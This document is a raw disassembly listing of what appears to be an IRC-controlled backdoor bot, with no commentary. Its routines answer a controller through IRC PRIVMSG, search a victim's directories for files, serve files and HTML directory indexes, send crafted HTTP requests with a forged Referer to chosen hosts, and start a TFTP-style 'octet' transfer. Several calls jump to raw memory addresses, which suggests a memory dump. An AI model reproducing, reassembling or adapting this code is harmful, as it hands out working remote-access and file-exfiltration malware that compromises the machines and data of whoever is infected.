arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_417330
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_406106
		push	eax
		push	offset aS_2	; "\\%s"
		jmp	short loc_40610F
; ---------------------------------------------------------------------------

loc_406106:				; CODE XREF: sub_4060D0+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"

loc_40610F:				; CODE XREF: sub_4060D0+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jbe	short loc_4061AA
		mov	[ebp+arg_8], 2

loc_40613A:				; CODE XREF: sub_4060D0+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_417AB0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40617A
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40617A
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40617A
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40617A
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_406194
; ---------------------------------------------------------------------------

loc_40617A:				; CODE XREF: sub_4060D0+7Aj
					; sub_4060D0+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40618A
		push	5Ch
		pop	eax
		jmp	short loc_40618D
; ---------------------------------------------------------------------------

loc_40618A:				; CODE XREF: sub_4060D0+B3j
		movsx	eax, al

loc_40618D:				; CODE XREF: sub_4060D0+B8j
		mov	[ebp+ebx+var_210], al

loc_406194:				; CODE XREF: sub_4060D0+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_417AB0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40613A

loc_4061AA:				; CODE XREF: sub_4060D0+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_314]
		push	offset asc_42A660 ; "\n"
		push	eax
		call	sub_418B6E
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 2690000h
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_4061FB
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4061FE
		push	[ebp+arg_0]
		jmp	loc_40627E
; ---------------------------------------------------------------------------

loc_4061FB:				; CODE XREF: sub_4060D0+11Cj
		mov	[ebp+var_4], esi

loc_4061FE:				; CODE XREF: sub_4060D0+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40620B
		mov	[ebp+var_4], esi

loc_40620B:				; CODE XREF: sub_4060D0+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_406289
		cmp	[ebp+arg_C], edi
		jz	short loc_40627D
		lea	eax, [ebp+var_314]
		push	offset asc_42A65C ; "*"
		push	eax
		call	sub_4179D0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_406ACA
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_4172B0
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_4062D8
; ---------------------------------------------------------------------------

loc_40627D:				; CODE XREF: sub_4060D0+152j
		push	ebx

loc_40627E:				; CODE XREF: sub_4060D0+126j
		call	dword_43AE30
		jmp	loc_406380
; ---------------------------------------------------------------------------

loc_406289:				; CODE XREF: sub_4060D0+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	near ptr 2650000h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4062D8
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4172B0
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2680C36h
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 26319EBh

loc_4062D8:				; CODE XREF: sub_4060D0+1ABj
					; sub_4060D0+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_42A61C
		push	eax
		call	sub_4172B0
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_416D5C
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_4407F4[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_405F4D
		push	edi
		push	edi
		nop
		call	near ptr 2680AA6h
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_440804[ecx], eax
		jz	short loc_406352

loc_406340:				; CODE XREF: sub_4060D0+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_406380
		push	5
		nop
		call	near ptr 2610F41h
		jmp	short loc_406340
; ---------------------------------------------------------------------------

loc_406352:				; CODE XREF: sub_4060D0+26Ej
		push	ebx
		call	dword_43AE30
		call	near ptr 265031Fh
		nop
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_42A5D4
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h

loc_406380:				; CODE XREF: sub_4060D0+1B4j
					; sub_4060D0+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4060D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406387	proc near		; CODE XREF: sub_405F4D+15Ap
					; sub_40EE72+49C9p

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_417330
		mov	edi, [ebp+arg_0]
		push	offset asc_42A660 ; "\n"
		push	edi
		call	sub_418B6E
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4063E6
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_4064E5
; ---------------------------------------------------------------------------

loc_4063E6:				; CODE XREF: sub_406387+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_4064CB
		call	sub_417AB0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		push	edi
		call	sub_417AB0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_4064E5
; ---------------------------------------------------------------------------

loc_4064CB:				; CODE XREF: sub_406387+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h

loc_4064E5:				; CODE XREF: sub_406387+5Aj
					; sub_406387+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		cmp	[ebp+arg_C], ebx
		jz	short loc_406580
		push	[ebp+arg_C]
		call	sub_417AB0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_406580
		push	[ebp+arg_C]
		call	sub_417AB0
		sub	eax, 3
		pop	ecx
		jz	short loc_406531

loc_406525:				; CODE XREF: sub_406387+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_406531
		dec	eax
		jnz	short loc_406525

loc_406531:				; CODE XREF: sub_406387+19Cj
					; sub_406387+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8

loc_406580:				; CODE XREF: sub_406387+180j
					; sub_406387+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		nop
		call	near ptr 26C0000h
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	near ptr 26B0000h
		nop
		test	eax, eax
		jz	loc_406970
		mov	edi, 1FFh

loc_4065AC:				; CODE XREF: sub_406387+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_406958
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406958
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406958
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	near ptr 26A0000h
		nop
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2690941h
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_406621
		mov	ecx, offset aAm	; "AM"

loc_406621:				; CODE XREF: sub_406387+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40662D
		sub	eax, 0Ch

loc_40662D:				; CODE XREF: sub_406387+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_4172B0
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_4067D0
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4066A1
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_406919
; ---------------------------------------------------------------------------

loc_4066A1:				; CODE XREF: sub_406387+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40678B
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS	; "%s%s/"
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_417AB0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_406741
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_406746
; ---------------------------------------------------------------------------

loc_406741:				; CODE XREF: sub_406387+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"

loc_406746:				; CODE XREF: sub_406387+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40691A
; ---------------------------------------------------------------------------

loc_40678B:				; CODE XREF: sub_406387+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_406929
; ---------------------------------------------------------------------------

loc_4067D0:				; CODE XREF: sub_406387+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40680F
		push	ebx
		push	[ebp+var_368]
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi

loc_4067FB:				; CODE XREF: sub_406387+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		jmp	loc_406929
; ---------------------------------------------------------------------------

loc_40680F:				; CODE XREF: sub_406387+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_406903
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_2	; "%s%s"
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_417AB0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_4068AF
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_4068B4
; ---------------------------------------------------------------------------

loc_4068AF:				; CODE XREF: sub_406387+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"

loc_4068B4:				; CODE XREF: sub_406387+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4067FB
; ---------------------------------------------------------------------------

loc_406903:				; CODE XREF: sub_406387+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"

loc_406919:				; CODE XREF: sub_406387+315j
		push	esi

loc_40691A:				; CODE XREF: sub_406387+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41782A
		add	esp, 18h

loc_406929:				; CODE XREF: sub_406387+444j
					; sub_406387+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		cmp	[ebp+arg_8], ebx
		jz	short loc_406958
		push	7D0h
		nop
		call	near ptr 2610F41h

loc_406958:				; CODE XREF: sub_406387+22Bj
					; sub_406387+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	near ptr 26B0000h
		nop
		test	eax, eax
		jnz	loc_4065AC

loc_406970:				; CODE XREF: sub_406387+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 2690114h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4069B3
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_4172B0
		add	esp, 14h
		jmp	short loc_4069E7
; ---------------------------------------------------------------------------

loc_4069B3:				; CODE XREF: sub_406387+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_4069CD
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	short loc_4069E7
; ---------------------------------------------------------------------------

loc_4069CD:				; CODE XREF: sub_406387+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_4172B0
		add	esp, 10h

loc_4069E7:				; CODE XREF: sub_406387+62Aj
					; sub_406387+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_406387	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A0D	proc near		; CODE XREF: sub_405F4D+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	near ptr 2650000h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_406AC5
		push	esi
		push	ebx
		nop
		call	near ptr 2680C36h
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_406ABE

loc_406A52:				; CODE XREF: sub_406A0D+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_406A6F
		mov	edi, [ebp+arg_4]

loc_406A6F:				; CODE XREF: sub_406A0D+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 26D0000h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2631104h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406AB9
		call	dword_43AD2C
		cmp	eax, 2733h
		jnz	short loc_406ABE
		xor	eax, eax

loc_406AB9:				; CODE XREF: sub_406A0D+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_406A52

loc_406ABE:				; CODE XREF: sub_406A0D+43j
					; sub_406A0D+A8j
		push	ebx
		nop
		call	near ptr 26319EBh

loc_406AC5:				; CODE XREF: sub_406A0D+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406A0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_406ACA	proc near		; CODE XREF: sub_4060D0+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jbe	short loc_406AF3

loc_406ADD:				; CODE XREF: sub_406ACA+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_406AE7
		mov	byte ptr [esi+edi], 2Fh

loc_406AE7:				; CODE XREF: sub_406ACA+17j
		push	edi
		inc	esi
		call	sub_417AB0
		cmp	esi, eax
		pop	ecx
		jb	short loc_406ADD

loc_406AF3:				; CODE XREF: sub_406ACA+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_406ACA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406AF8	proc near		; CODE XREF: sub_40EE72+2BE6p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_43AD10
		push	6
		push	1
		push	2
		call	dword_43AE18
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_43AD98
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40ADCA
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406BD5
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_406B71
		mov	eax, offset byte_436EDC

loc_406B71:				; CODE XREF: sub_406AF8+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_43ADE8
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43ADB0
		pop	esi

loc_406BD5:				; CODE XREF: sub_406AF8+6Bj
		push	ebx
		call	dword_43AE30
		call	dword_43ACF8
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_4172B0
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_406C15
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_406C15:				; CODE XREF: sub_406AF8+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_406AF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C19	proc near		; CODE XREF: sub_406C19:loc_407104p
					; DATA XREF: sub_407252+107o ...

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_780		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
var_57C		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+var_1C]
		movsd
		push	1
		xor	ebx, ebx
		movsw
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_37C]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_16C]
		push	2
		mov	[ebp+var_C], eax
		mov	[edx+2A0h], eax
		call	dword_43AE18
		mov	edi, eax
